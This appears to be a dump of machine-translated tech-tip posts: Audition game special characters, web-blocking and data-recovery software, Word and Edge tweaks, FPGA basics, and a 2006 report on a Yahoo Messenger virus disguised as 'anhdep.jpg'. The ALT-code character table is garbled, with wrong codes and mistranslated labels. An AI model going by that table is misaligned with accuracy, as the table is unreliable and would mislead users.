Audition, you can refer! You can use the characters in the special character table below to make it interesting to play Audition game.\n  To type in the special characters in Au, press ALT + the following numbers (the next number has two dots)\n∞ : 236 (or ∞: 7148)\n•: 7 (or •: 06549)\n←: 8475\n†: 0134 (or †: 01414)\n.: 0133\n™: 0153\nß: 225 (or ß: 49631)\nÇ: 128 (or Ç: 09415)\n€: 0128 (or €: 09856)\n¯: 0943 (or ¯: 0175, ¯: 0687)\n85: 0185 :: 253 ³: 0179\nColor: 141\nHuyen: 0204\nQuestion: 0210\nFall: 0222\nHeavy: 149\n  22 0227\nbox: 147\nE: 136\nU: 0253\nE: 01269\nâ: 131\nYes: 162\nú: 163\nAsia: 160\nNote: 161\nA: 133\nè: 138\nBuzzing: 151\n¥: 157 (or ¥: 925)\nƒ: 159\n─: 196 (or ─: 81604)\n§: 21\n¿: 168\nÐ: 02544 (or Đ: 01264 in au is the letter e)\n0208\n£: 924\nø: 0504\n«: 174 (or«: 0171)\n»: 175 (or»: 0187)\n®: 0174\n©: 0169\n¼: 172\n½: 171\n°: 01456\n∞: 7148\n€: 09856\n♪: 2573\n♣: 5\n▼: 9247\n♥: 2563\n♠: 14086\n•: 06549\n╚: 9416\n379: 8379\n←: 8475\n↑: 15384\n↓: 5145\nƒ: 7583\n†: 0134\n: 8156\n■: 18942\nß: 049631\n¯: 0943\n¥: 0165\n♀: 4108\nþ: 09726\nÇ: 09415\n₧: 84126\n«: 94126\nΘ: 72169\n╞: 57286\n╦: 86731\n¿: 52648\n∟: 36892\nΓ: 8162\n¢: 05794\në: 081643\nΩ: 48106\n24: 72438\n7: 72943\n╓: 8150\n╜: 2749\n╨: 49360\n║: 59834\n╟: 2759\nª: 75942\n18: 61842\nå: 9606\nÅ: 399\nï: 30859\nσ: 2789\n─: 81604\n▒: 5297\n▓: 5298\nÄ: 9614\nφ: 82157\nΦ: 8424\n85: 0185\næ: 9361\n┬: 7362\n┴: 7361\n≡: 5104\n±: 5105\n├: 18627\n│: 179\n║: 186\n─: 196\n414 01414\n©: 0425\n≈: 247\n§: 21.\n  Funny ways to write names that you can apply with special characters in au for your nickname in Audition! A good name, strange will make a strong impression for friends and those who play games with you ^^.\n(¯` • ._. • [(Name)] • ._. • ´¯)\n¨ ° oO (Name) Oo °\n× ÷ •. • ´¯` •) »(name)« (• ´¯` •. • ÷ ×\n•• ^ v´¯` ×) (name) (× ´¯`v ^ •• •\n, .- ~ * '¨¯¨' * • ~ -.¸ - (_ (name) _) -, .- ~ * '¨¯¨' * • ~ -.¸\n- - - ^ [(name)] ^ - - -\n•• • • • • • (name) ••. • ´¯` •. ••\n`• .¸¸. • ´´¯` •• ._. • (name)` • .¸¸. • ´´¯` •• ._. •\n(¯` • ._) (name) (¯` • ._)\n¯¨ '* • ~ -.¸¸, .- ~ *' (name) ¯¨ '* • ~ -.¸¸, .- ~ *'\nOº ° '¨ (name) ¨' ° ºO\n× º ° '˜`' ° º × (name) × º ° '˜`' ° º ×\n. • ´¯` • -\u0026gt; (name)\n (name) ¸. • ´¯` • .¸\u0026gt; - -¤ - ^] (name) [^ - ¤- -\n~ ²ºº0 ~ (name) ~ ²ºº8 ~\n._ |. . | _. (name) ._ |. . | _.\n. | . . | .\n- • = »‡« = • - (name) - • = »‡« = • -\n• ° oO (name) Oo ° •\n–––– • (- • (name) • -) • ––––\n(¯` • ¸ • ´¯) (name) (¯` • ¸ • ´¯)\n•• ¤ (`× [¤ (name) ¤] × ´) ¤ ••\n- (•• ÷ [(name)] ÷ ••) -\n• ï¡ ÷ ¡ï • (name) • ï¡ ÷ ¡ï •\n•! ¦ [• (name) •] ¦! •\n° º¤ø, ¸¸, ø¤º ° `° º¤ø, ¸ (name) ° º¤ø, ¸¸, ø¤º °` ° º¤ø, ¸\n° ¨¨ ° º \"° ¨¨ ° (_. • ´¯` •« ¤ ° (name) ° ¤ »• ´¯` • ._) ° ¨¨ ° º\" ° ¨¨ °\n»- (¯`v´¯) -» (name) »- (¯`v´¯) -»\n° l || l ° (name) ° l || l °\n• ° ¤ * (¯` ° (F) ((name)) (F) ° ´¯) * ¤ ° •\n—¤ ÷ (`[¤ * (name) * ¤] ´) ÷ ¤—\n¸.´) (`• [(name)] • ´) (` .¸\n• ÷ ± ‡ ± (name) ± ‡ ± ÷\n+ * ¨ ^ ¨ * + (name) + * ¨ ^ ¨ * +\nMaybe you are interested:\nFacebook characters, icons, emoji on Facebook 2017 are less known ncG1vNJzZmismaXArq3KnmWcp51kwLGxwqKYpWWTna6zrcKtnKtlkqSus7CMoqVmmaWZtrW1zqdkoJmdmg%3D%3D\n","link":"/post/special-character-board-in-audition-game/","section":"post","tags":null,"title":"Special character board in Audition game"},{"body":"In the age of technological development, children easily have early access to modern electronic devices such as smartphones or tablets. It is this that many parents worry about whether their children often visit black websites with unhealthy content.\nThat is also the main reason that black web access software was born to help them solve this problem. There are some famous software such as [ Any Block ], VAPU, Anti-Porn . capable of not giving users access to the black web very well.\nNote : These software allow you to block any website, so you can block children from accessing websites like Youtube, Facebook completely.\n1. Any Weblock software Any Weblock is one of the most popular and easy-to-use black web access software today, so it is suitable for parents who want to prevent their children from accessing unhealthy websites.\nThe interesting feature of this software is that when accessing the blocked website, the screen will display an error of inaccessibility due to the faulty network, which will help children be more suspicious and avoid letting them know dad. My mom blocked that website.\n  To use this software, you simply need to install the software on your computer, access Any Weblock and add the web address to the block list.\nThis software is completely free and you can download Any Weblock right away.\n2. VAPU software Software VAPU ( VTEC Anti-Porn Utilities ) was launched in 2011, this is the software prohibit access to black sites, online games as well as many sites of unfair that you do not want your child to access .\n  How to use the software is very simple, you just need to download this software to your computer, create an account and follow the instructions of VAPU.\nWith a simple and easy-to-use interface, with just a few clicks, you can block many different websites at the same time as well as set up many useful features such as time management and web blocking. automatically screenshots in different time frames to protect your children to the maximum extent.\nCurrently, you can download Vapu for free.\n3. OpenDNS Family Shield software In order to use this software [ OpenDNS Family Shield] , you need to have a little more knowledge about the network because this software can manage both your wifi and LAN networks to prevent access to the web. black quickly.\n  This software will use the domain names ( domain ) and evaluate them as websites, containing unhealthy or dangerous content, from which OpenDNS Family Shield will automatically ban users from accessing. that site.\nOpenDNS Family Shield software can work well on computers, laptops, tablets and smartphones.\nHowever, as mentioned at the outset, you will need to set the DNS parameters of the network router so it will be more difficult for ordinary users.\nYou can download this black web access software here.\n4. Block Web Site Buddy Software Block Web Site Buddy, despite being a very lightweight software, has many powerful features, including a tool to prevent and ban access to the black web as well as possible.\n  Can tell through a few outstanding features of Block Web Site Buddy software such as:\nProvide filters to help users easily search by keywords to prohibit access to the sites they want.\nUsers can directly enter the address of the site you want to block with very simple operations.\nThe software will periodically update and establish a list of websites that users have blocked.\nYou can download this software on all Windows versions here.\nSo I have introduced you to the top 5 software that prohibits the fastest and most powerful black web access today. Hopefully this article will be really helpful for you, especially parents with young children. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5krKeWqcSivsRmmZqmnpqxbq7LmpqkZaear26twpycrKtdqMGzu82gnKysXWd9c3w%3D\n","link":"/post/top-4-software-banned-black-web-access-strongest-2020/","section":"post","tags":null,"title":"Top 4 software banned black Web access strongest 2020"},{"body":"If you accidentally accidentally deleted some important files on your Android device (video, photo, etc.). Don't worry too much, here are some ways to recover deleted files.\nRecover lost data on Android devices without Root permissions 1. From MicroSD card (memory card) Remove the MicroSD card (memory card) from your Android device.\n  Insert the memory card into the card reader and then plug in the USB port on your computer, laptop.\n  Restart your computer, laptop. Then proceed to download Recuva application to your device and install.\nDownload Recuva to your device and install it here.\nOpen the Recuva application that you just downloaded and installed, then select the type of File you want to restore.\nSelect the location where you want to save the restore file and select Next .\nIn case if you want to save the restored file on the MicroSD card, select the option I n a Specific Location then select Next .\n  Next on the screen appears a dialog box, in this dialog box you select Enable Deep Scan then click Start .\n  After Recuva completes the process of searching for deleted files, the program will allow you to select some files to restore.\nThe restored files will be saved in the location you selected.\n2. On internal memory Check if you have enabled Developer settings. In case the Developer has been activated you can use the Wondershare Dr Fone application to scan the device.\nIn case Developer is not enabled, follow the steps below:\nFirst go to Settings =\u0026gt; About Phone =\u0026gt; Build Number .\nPress 7 times to Build Number . The Developer Options now activated dialog box will appear.\nClick on Developer Options and enable USB debugging mode.\nDownload Wondershare Dr Fone to your device and install to scan your device.\nDownload Wondershare Dr Fone to your device and install it here.\nRecover lost data on rooted Android devices Download the Undeleter app on Playstore to your device and install it.\nDownload the Undeleter app here.\n  First select the application you want to recover data: Call logs, SMS, WhatsApp and some other 3rd party applications.\n  Select the type of file you want to restore. Could be JPEG, Doc, MP4 .\n  Finally select the location where you want to store the restored data: Internal memory, external memory.\n  Then click on Scan and wait a few minutes for the software to scan your device.\nAfter the Undeleter application has finished scanning, the recovery files will be stored in the location where you have chosen to save the file.\n  Refer to some of the following articles:\nGuide how to \"cut the tail\" of hateful ads Instructions for using USB Flash drive with Android device Use Google to search for lost Android phones Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbO1wqRkraddp7Kku9WeqWaZnpm%2FsLXDZpuarJFitrR5y6iqrQ%3D%3D\n","link":"/post/trick-to-recover-android-data-is-lost/","section":"post","tags":null,"title":"Trick to recover Android data is lost"},{"body":"Microsoft Edge is a new web browser added to Windows 10 and will be available across the entire Windows 10 device family. It is fast, compatible, and built for the modern web.\nWhen closing Microsoft Edge when opening multiple tabs, you will be asked 'Do you want to close all tabs?' by default.\nThis tutorial will show you how to turn on or off the 'Do you want to close all tabs?' in Microsoft Edge for accounts on Windows 10.\nHow to turn off \"Do you want to close all tabs?\" in Microsoft Edge 1. Close Microsoft Edge while opening more than one tab.\n2. Check the box Always close all tabs and click Close all.\nTurn on or off \"Do you want to close all tabs?\" by the REG file The downloadable .reg files below will modify the DWORD value in the registry key below.\nHKEY_CURRENT_USERSOFTWAREClassesLocal SettingsSoftwareMicrosoftWindowsCurrentVersionAppContainerStoragemicrosoft.microsoftedge_8wekyb3d8bbweMicrosoftEdgeMain  1. Follow step 2 (to turn on) or step 3 (to turn off) below for what you want to do.\n2. To enable \"Do you want to close all tabs?\" In Microsoft Edge, download this file and go to step 4 below.\n3. To turn off \"Do you want to close all tabs?\" In Microsoft Edge, download this file and go to step 4 below.\n4. Save the .reg file to the desktop.\n5. Double click on the downloaded .reg file to merge it.\n6. When prompted, click Run\u0026gt; Yes (UAC)\u0026gt; Yes\u0026gt; OK to approve the merge.\n7. You can now delete the downloaded .reg file if you like.\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamp2Wfm7NuwMeeZKmqn6K9tXnDqGSyp6VixKK602arqGWToby0sYyao6VlpJavtHnIp2SmoZOnvLS7xa1knpyXmnqwuoywoKecn6zAbn2P\n","link":"/post/turn-on-off-the-prompt-do-you-want-to-close-all-tabs-in-microsoft-edge-on-windows-10/","section":"post","tags":null,"title":"Turn on / off the prompt 'Do you want to close all tabs?' in Microsoft Edge on Windows 10"},{"body":"In April 10, 2006, many Yahoo Messenger users in Vietnam said that there were some new viruses fake a 'anhdep.jpg' link and were very self-spreading.\n  When Clicking on the virus link disguises as an image file, the interface will appear as shown in the image.Don't be fooled by clicking \"run\" or \"save\"! The unknown virus of origin mentioned passes a message to all the nicknames included in the YM friend list, verbatim as follows: 'Nice girls!. look at this . 'and the attached link: /Giift/?file=Anhdep.jpg or /Gift/?file=e-card.htm . hosted from xrobots.net domain name .\nAlthough on the jpg link display (image format), but when the user clicks on the link above, there will be a software that appears and has the exe format.The interface forces you to select 'Run' or 'save' (write to the device).\nLooking through this link, you can immediately see that the author has deliberately tricked the user with the file name Anhdep.jpg, via the syntax? File =.In fact, when clicking on the link, the computer will ask the user if he wants to download a file anhdep.jpg.exe (anhdep.jpg is the file name) to the computer.\nAs soon as the user is foolish to let the virus infiltrate the machine if the software appears, the Virus software will automatically send all Yahoo Messenger addresses in your yahoo list if you have a chat nick.It is the virus-infected person who does not know that he is spreading these dangerous links.\nThere are currently no specific statistics on the harmful effects of the virus mentioned above, and with the speed of the spread of the number of people, it is clear that it is putting the Vietnamese online community at great risk of security.\nAll links distribute \"gaidep\" virus;\"anhdep\" . comes from the website www.xrobots.net.This is a black site that contains many viruses and spyware.Some reliable sources said that the domain was only created two days ago, but viruses and spyware from here are spreading horribly in the Vietnamese online community mainly through Yahoo Messenger.\nAccording to VietNamNet's own source, it is very likely that the author of this link is Vietnamese (because infected Yahoo Messenger users are mostly Vietnamese).This is a type of BOT virus, when it enters the computer, it controls control (also called a zombie computer), forming a Botnet computer network for virus authoring to control.Some hackers in Vietnam have not yet qualified to find ways to spread these BOT viruses by . hiring young children to install Internet products for VND 1,000 / phone.\nAt the level of national security response, when there is a similar incident, the Internet service provider who holds the Internet connection internationally (in Vietnam is VDC) needs to have early intervention measures to block access. from Vietnam towww.xrobots.netdomain name.This action will minimize the spread of Yahoo Messenger virus infection by ignorant users.\nThe best advice is when there are offline messages or strange messages sent by anyone in your Yahoo Messenger list that contains links to xrobots.net addresses or links of unknown purpose, please turn off right in that chat window and do not click on the link or run any software (run) on the screen.\nWith the infected machines, you can delete the virus file manually in the C: Windows drive, delete the messenger.exe file.If you can't delete it, run Safe Mode and delete it.The last way is to delete the file C: Windowsmessenger.exe from MSDOS.\n The Phong\n ncG1vNJzZmismaXArq3KnmWcp51kxKK%2BzaKloGWfm3qvsdZmraKqpaiytHnSqamemZRiw6qtjLKYoaefYrqmv9KepaCdomK2r3nVopytppGi\n","link":"/post/warning-of-new-viruses-spread-via-yahoo-messenger-in-vietnam/","section":"post","tags":null,"title":"Warning of new viruses spread via Yahoo Messenger in Vietnam"},{"body":"This article will explain what FPGA is and what it is used for. Find out below!\nWhat is FPGA?   FPGA is an acronym for Field Programmable Gate Array. It is a semiconductor device based on a matrix of Configurable Logic Blocks (CLBs), whereby much of the electrical function inside the device can be changed by the design engineer.\nFPGAs are defined by an array of interconnected digital subcircuits that perform common functions while providing a high degree of flexibility. FPGAs belong to a class of devices known as programmable logic (or programmable hardware). The FPGA doesn't do anything by itself; instead it is configurable to be whatever digital circuit is required. So how does FPGA work?\nHow does FPGA work? The way FPGAs work is very simple. A configuration is loaded into the FPGA, then it will start working like whatever circuit you ask it to. The FPGA's RAM-based configuration means it can be reconfigured an unlimited number of times.\nTypes of FPGA There are two main ways to classify FPGAs: By the internal arrangement of blocks or by type of programming technology. When it comes to arrangement, FPGAs fall into one of three categories:\n1. Symmetrical array : This arrangement is made up of rows and columns of interconnected logic blocks, surrounded by input/output blocks.\n2. Row-based architecture : This arrangement alternates rows of programmable logic blocks and connection resources, with input/output blocks along the edges.\n3. Hierarchical PLD (Programmable Logic Device) : These devices have a more complex layout. The top level is made up of logical blocks and interconnected. Logic blocks contain logic modules, which have combinational and sequential functional elements.\nCommon uses of FGPA   There are countless uses with FPGAs covering a wide range of fields. Common use cases of FGPA include:\nVideo and image processing. Military applications. Software-defined radio. Create medical images. Wired and wireless communication. Integrate many simple programmable logic devices. Voice recognition. Passwordcation. Digital signal processing. ASIC prototyping. Device controller. Computer hardware emulation systems. Bioinformatics. High performance computing. Aerospace and Defense. ASIC prototyping. Car. Broadcasting consumer electronics. Medical data center. Scientific and industrial instruments. Benefits of using FPGA FPGAs offer many advantages over conventional implementations.\n Benefit Details  Integration The more functionality in today's FPGAs (including on-chip processors, transceivers of I/Os at 28Gbps or higher, RAM blocks, DSP engines) the fewer devices there are on the board. This increases reliability as the number of failures due to equipment failure is reduced.  Flexibility The function of the FPGA may change after each device startup. This means that if a design engineer wants to make a change, they can simply upload a new configuration file to the device and make the change.  Acceleration FPGAs can be brought to market quickly. Because of the flexibility of FPGAs, original equipment manufacturers can ship the system as soon as the design is proven to work and has been tested.  Long term availability Using an FPGA gives you independence from component manufacturers, because the functionality is not in the module itself but in its configuration. This programmability can be implemented in a way that doesn't require any tuning on different FPGAs.  ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWWpbSiedahmK1lmah6p7zGmmSuq5WZeqe70Q%3D%3D\n","link":"/post/what-is-fpga-what-is-fpga-used-for/","section":"post","tags":null,"title":"What is FPGA? What is FPGA used for?"},{"body":"If you are working on a long document, you should create a table of contents for viewers to follow. This table of contents will make it easier for anyone to read through the document to grasp the overall content of the text.\nFortunately, there are many online resources that provide templates to create table of contents for Word documents. They help users save a lot of time. Here are some of the best versatile templates to apply to the table of contents in Microsoft Word.\nChoose a template to create a table of contents in a Word document Creative templates for the table of contents 1. Blue Background 2. Clean and Simple 3. Creative Table of Contents 4. Landscape Table of Contents 5. Block-Style Table of Contents  Formal catalog templates in Word 6. Indented Table of Contents 7. Academic Table of Contents 8. Formatted Table of Contents 9. Project Table of Contents 10. Research Grant Table of Contents  Table of contents format techniques Style your own catalog Keep the contents of the index always accurate Creative templates for the table of contents The table of contents gives the reader a visual overview of the document. Choosing which template depends on the type of document you create. If it is a small document that introduces the company to potential customers, a template that combines professionalism and intimacy will work best.\nIf the document you have is an event program at a school or a non-profit organization, a more creative and interesting template will be much more useful.\nThe following templates are best suited for projects that are creative and not too sophisticated and formal.\n1. Blue Background   This is a modern and minimalist template, but also neat and easy to read. You can style everything in this template. Such as:\nChange the font style and size Modify the background color Resize the boxes This is a great template for a brief document about the event, a business information booklet or anything else with content that is not too long.\nYou can download this template in Microsoft Word format, Google Docs, Mac Pages and documents in editable PDF format. Just provide your email address, users can download this template for free.\n2. Clean and Simple   If you are looking for an easy-to-create but still professional looking catalog template, Clean and Simple will meet your needs.\nIt includes a date column, a topic column and a page number. This makes Clean and Simple the ideal template for documents such as a magazine or a diary. Each page has 26 items available.\nIf you need a longer table of contents, just create another page from this template and continue on to the next page.\nYou can download this template in Word format, Google Docs, Mac Pages and editable PDF format. It is also available in Mac Numbers format. After providing an email address, users can download this template for free.\n3. Creative Table of Contents   If you are gathering documents for an event or creating a brochure for a non-profit organization, this playful colorful template is the most ideal option.\nThe serial numbers in the table of contents are written quite large, so it is easy to see and have separate blocks to fill in information about each part of the document. You can right-click on each cell or font and change the color or font in that box to whatever you like.\n4. Landscape Table of Contents   If you are tired of old style catalogs, this template is a great opportunity to refresh everything. It is ideal for a document in landscape format (giving the user an immediate overview of the content of the document).\nThe default design is set for a chapter-based document, with large headlines and subheadings, which can be used by users to break down document content in detail. This template is very easy to customize.\n5. Block-Style Table of Contents   Starting from the same Templatesinfo.com page with the above template, this template is a unique combination of creativity and solemnity.\nIt consists of title blocks with different colors, to distinguish between main chapters or sections with main headlines and subheadings.\nThe format of this template is very neat and suitable for any document from a brochure to a document you write for school or at work. The outline was arranged very scientifically, so just looking at it was able to grasp the content immediately.\nFormal catalog templates in Word If your project is too formal and the templates listed above don't seem very appropriate, there are many more free and professional templates available. For example, for a graduation thesis or a formal document, a well-formatted index can make a difference.\nThe following templates are great and suitable options for any project you are working on.\n6. Indented Table of Contents   Provided free from Tidyform.com, this template is suitable for a research paper. The default table of contents in this template includes an introduction, a list of tables, metrics, charts, and a section for chapters. This template is ideal for learning materials.\nThe table of contents in the download template includes the highlighted text. Users can replace this text with their own content.\nThe majority are Roman numbered, and smaller chapters will be decimal. You can keep this format unchanged or adjust it to your own needs. This template can be downloaded in DOC format or in PDF format.\nDownload Indented Table of Contents.\n7. Academic Table of Contents   If the document you are working on is an essay or any other academic material, this is a perfect catalog to impress readers.\nIt is placed in a standard outline format, suitable for very long documents. Each main part is bold, and each appendix is ​​numbered and placed under those main headings.\nThis is a simple way to present the entire content of the article without spending too much energy. If you need to move any part, users can easily move a part or up to a new location, or just re-number and fix as needed.\n8. Formatted Table of Contents   If you are looking for a nice, well-formatted template, this template from Templatesinfo.com is really a great support tool. Along with a nice title, the entire outline is clearly formatted, the sub-chapters are aligned slightly backward from the main part. Users can download this template in Word or PDF format and adjust it according to their content.\nDownload: DOC\n9. Project Table of Contents   If the document you work on is in a school project or any other document that needs to be organized clearly, this template will be a perfect choice. This template is superior thanks to the fields for the name, project title and page number.\nThe template is divided into standard sections for an academic paper, so if it is the type of document you are working on, this template will save you a lot of time.\nThis template is available for free download in Word format.\nDownload: DOC\n10. Research Grant Table of Contents   Another template from TemplateLab.com is a detailed table of contents developed specifically for research grants. If you are responsible for documenting research grants, this template will save a lot of time.\nIn addition, this template can also be used for other purposes. It includes an introduction, acts as a preface to the document, and finally a numbered entry that contains all the main parts of the article.\nIt has a very professional appearance so it will definitely impress anyone who reads through the document.\nDownload: DOC\nTable of contents format techniques Once you've found an appropriate template, all you need to do is open Microsoft Word to insert your own title and page number.\nHowever, you may find that it is worth it to deserve a little extra time to complete the table of contents, as it will create a superior finishing product.\nStyle your own catalog You can make visual edits to the table of contents just like you would in any other Microsoft Word document. But be careful because small changes can create unwanted effects in the overall format.\n  The problem usually occurs when you just start typing text into the table of contents. Previous dots are used to create space between items considered by Word to be a fixed object. Therefore, when entering new text, you cannot delete these dots. Dot lines that are too long will change the original format, deflecting the lines.\nIf this is the case with the template you want to use, follow these steps to fix this situation:\nFirst, set horizontal limits for text to set the desired tab stops (using the Ruler tool ). Click the Home tab and click the dialog launcher on the Paragraph. Click Tabs, then select the type of Leader you want to use in your table of contents. The distance will now change itself to look identical, regardless of the length of the text string.\nKeep the contents of the index always accurate If you are constantly working on a document, you will see editing as the page number of the changes.\nTo avoid this, you can use Microsoft Word's built-in table of contents function to update any changes.\nGo to the References tab and use the drop-down Table of Contents menu to access the other options available.\n  Although there is no control over cataloging styling, this method gives users some great advantages in navigability.\nThe table of contents will act as hyperlinks to individual sections, when the document is opened on the computer. The page number will be kept correct without the user having to manipulate anything.\nAbove are some useful templates for Word. Wish you find the right choice!\nSee more:\nHow to create and use templates in Microsoft Word Create and use the Template in Outlook 2010 Create a list of tables in Word automatically ncG1vNJzZmismaXArq3KnmWcp51kfnF5yKanq52jqLa3sYytmJuklWK8p3nCqKWtnZ6pwG6yzqtkpqGTp7y0u8WtZLCnopk%3D\n","link":"/post/10-impressive-table-of-contents-for-microsoft-word/","section":"post","tags":null,"title":"10 impressive table of contents for Microsoft Word"},{"body":"Using AirPods with a Mac is not a big deal, but not as seamless as AirPods automatically connecting to the iPhone. If you use AirPods regularly while working or watching videos on a Mac, you need to know about two simple applications and make sure you don't need to touch the Bluetooth settings.\nToothFairy ToothFairy is available in Mac App Store for $ 3 (69,000VND). The application will place an icon in the Mac's menu bar, then you can click to connect and disconnect AirPods. You can also create a shortcut to create or disconnect between Mac and AirPods. There are a number of icons you can choose to place in the menu bar, including an AirPod-like icon and you can select the box to add a battery indicator next to the icon. The icon will appear when the AirPod is connected and disappears when there is no connection. All are very simple and easy.\nThis application is not only for AirPods. You can use ToothFairy to manage other Bluetooth devices within your Mac.\n  AirBuddy Another application to use AirPods with Mac is AirBuddy. It is available on GumRoad with the proposed donation amount of $ 5 (115,000 VND). This application simulates the battery status screen you see on your iPhone when you open the AirPods shell near it. With the app installed on your Mac, you'll see similar rotary icons for AirPods and charging boxes with battery status, in the small window that slides down from the top edge of the Mac screen when you open AirPods. (When launching the app, you can choose to open this window on the left, right or center of the screen. And you can turn on this app for other W1 headsets, including some Beats models). Just click the window to connect your Mac and AirPods.\nAirBuddy requires Bluetooth LE and MacOS Mojave. If your Mac supports AirDrop, Hand Off and Continuity, everything will be fine.\n  Among the two applications mentioned above, more people prefer ToothFairy because the image continuously indicates the connection status of AirPods in a blink of an eye.\nWish you have the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kf26tz6mqZqyfYsK0sYyaoKuon5nAbsPIrZ9mpZGY\n","link":"/post/2-apps-to-use-airpods-with-mac/","section":"post","tags":null,"title":"2 apps to use AirPods with Mac"},{"body":"This article will guide you to use the Adobe Flash program's built-in tool to create a rather unique text effect, called blasted text to create banners or ads.\n1. Create a file with the parameters shown in Figure 1:\n  Figure 1\n2. Use the Text tool, adjust the parameters as shown in Figure 2 and type in the word Yeah!\n  Figure 2\n3. Select Window \u0026gt; Color Mixer and set Alpha to 50% (see Figure 3):\n  Figure 3\n4. Right-click Frame 3 , select Insert KeyFrame (see Figure 4).\n  Figure 4\n5. Click on the text box and adjust the parameters as shown in Figure 5:\n  Figure 5\n6. Do the same step Step 4, Step 5 for Frame 5, 7, 9, 11, each time increase to 10 (in Frame 11 alone, change the font color to red) (see illustration for Frame 11)\n  Figure 6\n7. Note that we are in Frame 11. Click on the text, choose Insert \u0026gt; Timeline Effects \u0026gt; Effects \u0026gt; Explode (see Figure 7)\n  Figure 7\n8. In the Explode table, select OK . 9. Press Ctrl + Enter to check the result. Download the source file here .\nAfter completing the above steps, you will get the following result:\n  ncG1vNJzZmismaXArq3KnmWcp51ks62t0qFknKqVlsGmedaoqZ2rXam1osCMnq%2BppJ%2BZsg%3D%3D\n","link":"/post/flash-create-words-that-explode/","section":"post","tags":null,"title":"Flash - Create words that explode"},{"body":" Changing the line spacing can make a Word document easier to read and make notes on when printed. Follow this guide to change the spacing in any version of Word, regardless of your operating system. Click the Design tab. It's at the top of...\nMethod 1of 3:\nWord 2016/2013/Office 365 Click the Design tab. It's at the top of Word.[1]\n Click Paragraph Spacing. A menu of spacing options will expand.\n Click Double. The entire document is now double-spaced. To double-space a specific area of text, highlight the text, click the Line and Paragraph Spacing button on the Home tab (4 horizontal lines with two blue arrows), then select 2.0.  Method 2of 3:\nWord 2007/2010  Set your line spacing before you start. If you want to create a whole document with one standard line spacing, set the spacing before you begin to save time later. If you have nothing selected, the spacing changes will occur from where your cursor is onwards. To adjust line spacing, click either the Home or the Page Layout tab.\n  Change using the Home tab. In the Home tab, look for the Paragraph section. Click the Line Spacing button to open the Line Spacing dropdown menu. The button has 4 small lines with an arrow pointing both up and down. From this menu, you can select common line spacing options. If you don't see the line spacing button, it is most likely missing because the window isn't large enough. You can access it by clicking the arrow button next to the word Paragraph. This will open the Paragraph menu. In the Paragraph menu, you can adjust the line spacing using the Line Spacing dropdown menu from the Spacing section.   Change using the Page Layout menu. In the Page Layout tab click the arrow button next to Paragraph. This will open the Paragraph menu. In the Paragraph menu, you can adjust the line spacing using the Line Spacing dropdown menu from the Spacing section.\n  Change paragraph spacing. Besides changing the spacing after each line, you can also adjust the amount of space before and after each paragraph. In the Page Layout tab, look for Spacing in the Paragraph section. Before will add space before the paragraph begins. After will add spacing every time you press Enter to start a new paragraph.   Understand the line spacing options. The default line spacing in Word is set to 1.15, not 1. If you want to have truly single-spaced text, you will need to select Single from the Line Spacing dropdown menu. 'Exactly' will allow you to set an exact spacing between lines, measured in points. There are 72 points to an inch. 'Multiple' will allow you to set larger spacing, such as triple spacing.   Change the default spacing. If you would rather have Word automatically space at something other than 1.15, choose your settings in the Paragraph menu and click the Default… button. Word will ask you to confirm the permanent changes to the default template.\n  Change spacing for specific portions of text. You can adjust the spacing for individual portions of the document by selecting the text you want to change and then adjusting the spacing as outlined above. You can change the spacing of the entire document by selecting all of the text and then adjusting the spacing settings. To quickly select all of the text Press Ctrl+A (PC) or ⌘ Command+A (Mac). This will not affect headers, footers, or text boxes. You will need to select these sections individually to change the spacing in them.   Learn the keyboard shortcuts. If you find yourself changing line spacing often, learning the keyboard shortcuts can end up saving you a lot of time. Use the following commands to change the line spacing: Select all the text you wish to change the spacing of. Press Ctrl+2 (PC) or ⌘ Command+2 (Mac). This will give you double spacing. Press Ctrl+5 (PC) or ⌘ Command+5 (Mac). This will give you 1.5-line spacing. Press Ctrl+1 (PC) or ⌘ Command+1 (Mac). This will give you single spacing.  Method 3of 3:\nWord 2003  Select all the text you want double-spaced. Press Ctrl+A to select all.\n  Go to Format \u0026gt; Paragraph .\n  Click the Line Spacing drop-down box and select the desired spacing.\n  Click OK.\n  Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfqq%2BtsYysp5qblWK2r3nWqKmd\n","link":"/post/how-to-double-space-in-word/","section":"post","tags":null,"title":"How to Double Space in Word"},{"body":"CPU overload and memory usage are high and not rare on both computers, laptops and smartphones. The signs of this phenomenon are quite obvious as the device becomes hot, continuously stalling, hanging or even stopping for a long time, the fan radiates very loudly.\nIn particular, some Windows 10 Creators users recently reflect quite a lot about the status of CPU overload error, because the OneDrive application when connected to Internte caused. So how can overcome the CPU running 100% overload due to the OneDrive application on Windows 10?\nStep 1: First of all, right-click on the Taskbar on the screen and select Task Manager .\n  Step 2: Find in the list on Task Manager the OneDrive application, then right-click Microsoft OneDrive and select Open file location .\n  Step 3: Soon, File Explorer will start and we will access the OneDrive task folder. Here, click on the setup folder and then select the directory log as shown below. You keep the same window and move on to the next step.\n  Step 4: Go back to the Task Manager interface, right-click on OneDrive and select End task to stop the application process.\n  Step 5: Access the folder of the open OneDrive app again. We enter the keyword UserTelemetryCache.otc into the search bar above. When the results appear, press Delete to delete this file in the directory.\n  Continue to enter the keyword UserTelemetryCache.otc.session into the search bar and also press Delete to delete this file.\n  Step 6: Then open Start Menu and click the OneDrive app.\n  Step 7: Go to Settings then click on the Privacy settings group.\n  Step 8: In the new interface, users go to Feedback \u0026amp; diagnostics . Then look at the content on the right and choose Basic .\n  Step 9: Open the Run window with the Windows + R key combination and then type the keyword regedit , click OK .\n  In the Registry Editor dialog box, we access the link below.\nHKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsDataCollection   Step 10: On the right white interface, right-click and choose New\u0026gt; DWORD (32-bit) Value .\n  Then name this DWORD as AllowTelemetry as shown.\n  Next, double-click on the newly created DWORD and set the value to 0 in the Value data box.\n  Step 11: Return to the main interface on the computer. Here you enter the keyword File in the search bar on Windows and then click Manage .\n  Step 12: In the Computer Management dialog box, click the Service option in Services and Applications, then double-click the Connected User Experiences and Telemetry option .\n  New dialog box appears. Here the Startup type type sets the Disable option. Finally click Apply\u0026gt; OK to save the changes.\n  Step 13: Go back to the Services interface, we go to dmwappushsvc and then go to the Disable setting as above.\nFinally restart the computer for the changes to take 